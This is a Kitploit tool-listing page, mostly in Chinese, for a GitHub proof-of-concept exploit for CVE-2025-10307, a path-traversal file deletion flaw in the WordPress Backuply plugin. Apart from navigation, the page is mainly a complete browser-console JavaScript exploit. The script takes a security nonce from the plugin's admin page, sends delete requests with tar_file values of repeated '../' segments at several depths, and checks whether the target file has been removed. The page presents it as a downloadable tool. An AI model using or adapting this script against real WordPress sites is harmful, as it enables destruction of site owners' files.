Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-10307 — CVE-2025-10307 的概念验证漏洞利用程序,演示了通过 WordPress Backuply 插件 tar_file 参数中的路径遍历实现任意文件删除。 | Kitploit
工具/GitHubGitHub/jfriedli/cve-2025-10307
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队
GitHubjfriedli/cve-2025-10307

CVE-2025-10307

CVE-2025-10307 的概念验证漏洞利用程序,演示了通过 WordPress Backuply 插件 tar_file 参数中的路径遍历实现任意文件删除。

查看仓库
5个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

漏洞利用:通过Backuply实现任意文件删除(tar_file路径遍历)

浏览器控制台PoC(已验证管理员)

root@kitploit:~
(async () => {
  const page = `${location.origin}/wordpress/wp-admin/admin.php?page=backuply`;

  // 1) Extract a valid nonce from the Backuply page
  const html = await fetch(page, { credentials: 'same-origin' }).then(r => r.text());
  const doc = new DOMParser().parseFromString(html, 'text/html');

  let security = (() => {
    const btn = doc.querySelector('[name="backuply_delete_backup"]');
    if (btn) {
      const form = btn.closest('form');
      const inp = form && form.querySelector('input[name="security"]');
      if (inp && inp.value) return inp.value;
    }
    const any = doc.querySelector('input[name="security"]');
    return any ? any.value : null;
  })();

  if (!security) {
    console.error('Nonce not found');
    return;
  }

  console.log('Nonce:', security);

  // Helper: send delete request
  const postDelete = (tar_file) => fetch(page, {
    method: 'POST',
    credentials: 'same-origin',
    headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
    body: new URLSearchParams({
      tar_file,
      security,
      backuply_delete_backup: 'Delete'
    })
  }).then(r => r.status);

  // Attempt path traversal deletion
  const outsideRel = 'outside/canary_outside.txt';
  const depths = [4, 5, 6, 7];

  for (const d of depths) {
    const tar_file = '../'.repeat(d) + outsideRel;

    console.log('Trying:', tar_file);
    await postDelete(tar_file);

    const res = await fetch(`${location.origin}/${outsideRel}`, { method: 'HEAD' });
    console.log(`depth ${d} → status ${res.status}`);

    if (res.status !== 200) {
      console.log('[+] File deleted via traversal at depth', d);
      break;
    }
  }
})();
下载工具